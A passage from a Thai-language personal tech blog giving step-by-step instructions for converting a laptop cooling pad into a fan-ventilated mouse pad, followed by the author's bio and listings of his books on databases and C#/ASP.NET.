ขั้นตอนต่อไปให้ถอดแผ่นอะลูมิเนียมซึ่งเป็นผิวด้านบนของแผ่นรองโน้ตบุ๊ก วิธีถอดให้ใช้ไขควงเล็กแบน หรือคัทเตอร์ แงะไล่ตามริมนอกให้รอบ แล้วค่อยใช้แรงงัดลึกขึ้น ขณะถอดแผ่นอะลูมิเนียมระวังอย่าให้มอเตอร์หรือใบพัดของพัดลมชำรุดเสียหาย

รูป 008 : แผ่นรองโน้ตบุ๊กที่ถอดแผ่นอะลูมิเนียมออกแล้ว

 

ตัดแผ่นลวดตาข่าย

นำแผ่นอะลูมิเนียมซึ่งเป็นผิวด้านบนของแผ่นรองโน้ตบุ๊ก (ที่เราถอดออกในขั้นตอนที่ผ่านมา) มาทาบลงบนแผ่นลวดตาข่ายที่ตัดจากถังขยะ ยึดไว้ด้วยเทปกาวเพื่อไม่ให้เคลื่อนไปมา จากนั้นใช้กรรไกรตัดลวดตาข่ายให้มีขนาดและรูปทรงตรงกันกับแผ่นอะลูมิเนียม เมื่อตัดแล้วให้เล็มขอบทุกด้านจนแน่ใจว่าไม่มีเส้นตาข่ายแหลมคมเหลืออยู่

รูป 009 : ตัดตาข่ายตามแบบ

 

แต่งขอบตาข่าย

เมื่อตัดแผ่นลวดตาข่ายตามแบบเสร็จแล้ว ให้ใช้กระดาษทรายขัดขอบให้เรียบ หากมีเส้นตาข่ายเกินออกมาให้ใช้คีมตัดเล็ก เล็มแต่งอีกครั้งจนขอบทุกด้านเรียบเนียน

รูป 010 : แต่งขอบตาข่าย

 

 

 

ใส่ผ้าให้ตาข่าย

ขั้นตอนนี้ควรหาผู้ช่วยสักหนึ่งคน ขั้นแรกให้นำกาวมาฉีดพ่นให้ทั่วพื้นผิวลวดตาข่าย (พ่นเพียงด้านเดียว) จากนั้นดึงผ้าให้เรียบ (แต่ไม่ดึงมากไปจนผ้ายืด) แล้วนำไปทาบลงบนแผ่นลวดตาข่ายด้านที่พ่นกาวแล้ว ใช้มือรีดให้เรียบไม่ให้มีรอยย่น สุดท้ายให้นำหนังสือหนักๆ วางทับไว้ข้ามคืนเพื่อให้ผ้าอยู่ตัว

ข้อควรระวังในขั้นตอนนี้คือ ปรกติกาวสเปรย์จะแห้งภายในสองนาที เมื่อพ่นกาวเสร็จแล้วจึงต้องติดผ้าให้เสร็จภายในสองนาที เพราะหากทิ้งไว้นานกว่านั้นผ้าจะยึดกับผิวงานได้ไม่ดี

รูป 011 : ก่อนใส่ผ้าบนแผ่นลวดตาข่าย

 

เก็บขอบผ้า

เมื่อผ้าติดกับแผ่นลวดตาข่ายแห้งดีแล้ว ให้นำมาตัดขอบออกด้วยกรรไกรตัดผ้า ตัดผ้าให้เหลือขอบไว้ยาวครึ่งนิ้วโดยรอบ นำปืนยิงกาวมายิงรอบขอบแผ่นลวดตาข่ายด้านที่ไม่มีผ้า จากนั้นพับขอบผ้าเข้ากับกาว เมื่อทำเช่นนี้จนครบโดยรอบเราจะได้แผ่นลวดตาข่ายที่มีขอบผ้าหุ้มทุกด้าน พร้อมสำหรับการนำไปใช้ในขั้นตอนต่อไป

รูป 012 : แผ่นลวดตาข่ายเมื่อตัดผ้าแล้วแต่ยังไม่ได้เก็บขอบผ้า

 

ติดแผ่นกาวสองหน้า

ขั้นตอนต่อไปให้ติดแผ่นกาวสองหน้า การติดให้ติดในตำแหน่งที่แสดงในภาพ แผ่นกาวสองหน้าให้ใช้แบบหนาประมาณหนึ่งส่วนแปดของนิ้ว เพราะเราต้องการให้มีช่องว่างระหว่างแผ่นลวดตาข่ายและแผ่นรองโน้ตบุ๊ก ช่องว่านี้จะทำให้อากาศไหลผ่านได้ดี

รูป 013 : แผ่นลวดตาข่ายเมื่อติดแผ่นกาวสองหน้าแล้ว

 

ประกบแผ่นลวดตาข่าย

นำแผ่นลวดตาข่ายที่ติดแผ่นกาวสองหน้าแล้วมาประกบเข้ากับแผ่นรองโน้ตบุ๊ก ใช้ปีนยิงกาวยิงกาวเหนียวร้อนปิดขอบทุกด้านโดยรอบ สาเหตุที่ใส่กาวรอบๆ เพราะไม่ต้องการให้อากาศเข้าจากด้านข้าง เราต้องการให้อากาศถูกดูดเข้าทางด้านบนเท่านั้น

รูป 014 : ลวดตาข่ายเมื่อประกบเข้ากับแผ่นรองโน้ตบุ๊กแล้ว

 

ทิ้งไว้อีกหนึ่งคืน

เมื่อประกบแผ่นลวดตาข่ายเข้ากับแผ่นรองโน้ตบุ๊กแล้วให้นำหนังสือหนักๆ มาทับไว้ แล้วปล่อยทิ้งไว้ข้ามคืนเพื่อให้กาวสองหน้ายึดติดกับพื้นผิวได้อย่างสมบูรณ์

รูป 015 : ขั้นตอนสุดท้ายคือทิ้งไว้อีกหนึ่งคืน

 

ได้เวลาหฤหรรษ์

ถึงตอนนี้ก็เป็นอันว่าโครงงานเสร็จสมบูรณ์ สิ่งที่คุณได้คือแผ่นรองเมาส์ซึ่งมีระบบระบายความชื้นด้วยอากาศที่สร้างขึ้นด้วยฝีมือของคุณเอง ต่อไปนี้คุณสามารถนั่งสร้างภาพสามมิติด้วยโปรแกรมมายาเป็นชั่วโมงๆ หรือ เริงร่าไปกับอาวุธคู่ใจในสงครามผ่านระบบแลน เผด็จศึกคู่ต่อสู้ด้วยการเลื่อนเมาส์อย่างแม่นยำโดยปราศจากเหงื่อเหนียวเหนอะที่ทำให้เสียอารมณ์


เกี่ยวกับบล็อกนี้

เว็บบล็อก “คนคอมพิวเตอร์” หรือ Laploy’s articles เป็นบล็อกรวบรวมบทความจาก ลาภลอย วานิชอังกูร มีบทความหลายประเภทคละกัน เช่นบทความเกี่ยวกับการพัฒนาซอฟต์แวร์ บทความเกี่ยวกับการสร้างและดัดแปลงฮาร์ดแวร์ บทความเกี่ยวกับเทคโนโลยีคอมพิวเตอร์ทั่วไป บทความทั่วไป และนิยายนักสืบ

เกี่ยวกับผู้เขียน

ลาภลอย วานิชอังกูร เป็นผู้เชี่ยวชาญการพัฒนาแอพลิเกชันฐานข้อมูลและ Business Intelligence โดยเริ่มจากการพัฒนาโปรแกรมด้วย dBaseII, Clipper, FoxPro ปัจจุบันเป็นผู้เชี่ยวชาญในการบูรณาการระบบฐานข้อมูลด้วยเทคโนโลยีของไมโคร ซอฟต์เช่น ASP.NET, ADO.NET, Microsoft SQL Server 2008 และ LINQ ชำนาญการเขียนคิวรีเพื่อแก้ปัญหาทางธุรกิจที่ซับซ้อน Data mining, Data Warehouse, OLAP (SSRS), OLTP เคยออกแบบฐานข้อมูลสัมพันธ์ในองค์กรระหว่างประเทศ เคยพัฒนาแอพลิเกชันฐานข้อมูลในโครงการขนาดใหญ่หลายโครงการ และเคยให้คำปรึกษาด้าน BI ในศูนย์คอมพิวเตอร์ (T-Center) ในองค์กรของประเทศฝรั่งเศส
นอกจากงานฐานข้อมูลแล้ว ลาภลอย วานิชอังกูร ยังเชี่ยวชาญการพัฒนาซอฟต์แวร์ระบบฝังตัว (Microprocessor / Microcontroller Based Embedded System) งานพัฒนาแอพลิเกชันในอินเตอร์เน็ตแบบ RIA (Rich Internet Application) งานพัฒนาโครงสร้างพื้นฐานของซอฟต์แวร์ด้วยหลักการ OOP (Framework Development in Object Oriented Programming) ด้วยภาษา C# และ .NET Framework และงานบูรณาการระบบในองค์กรหรือ SOA (Service Oriented Architecture for Enterprise Orchestration) เคยร่วมงานกับทีมพัฒนาซอฟต์แวร์ในหลายๆ ประเทศ เช่น ไทย อินเดีย สวิส เยอรมัน และประเทศสหรัฐอเมริกา
ปัจจุบัน ลาภลอย วานิชอังกูร ทำหน้าที่ให้คำปรึกษาการวางระบบ IT (เช่น SQL, OLAP,.NET, SCADA, BI, SOA และอื่นๆ) ให้แก่หน่วยงานขนาดใหญ่หลายแห่ง และมีบทความทางวิชาการตีพิมพ์ในวารสารหลายเล่มอย่างสม่ำเสมอ และเป็นผู้เขียนหนังสือ "เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure" และ “เรียนรู้ด้วยตนเอง OOP C# ASP.NET” (ISBN 13:978-974-212-598-1)
ท่านสามารถติดต่อผู้เขียนได้ที่อีเมล laploy@gmail.com

เรียนรู้ด้วยตนเอง OOP C# ASP.NET

ชื่อหนังสือ : เรียนรู้ด้วยตนเอง OOP C# ASP.NET โดย : ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่ายโดย : บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN : 13:978-974-212-598-1 ราคา : 349 บาท จำนวนหน้า : 648 ขนาด : 19x29 ซ.ม.

เรียนรู้ด้วยตนเอง DataBase – Query – T-SQL – Stored Procedure

ชื่อหนังสือ: เรียนรู้ด้วยตนเอง DataBase - Query - T-SQL - Stored Procedure โดย: ลาภลอย วานิชอังกูร จัดพิมพ์จัดจำหน่าย: บริษัท ซีเอ็ดยูเคชั่น จำกัด (มหาชน) ISBN: 978-616-08-0009-4 ราคา: 559 บาท จำนวนหน้า: 1,100 ขนาด: 19x29 ซ.ม. วางตลาด: ตุลา 2552

กรุณาป้อนอีเมลของท่าน

Join 17 other followers

Advertisements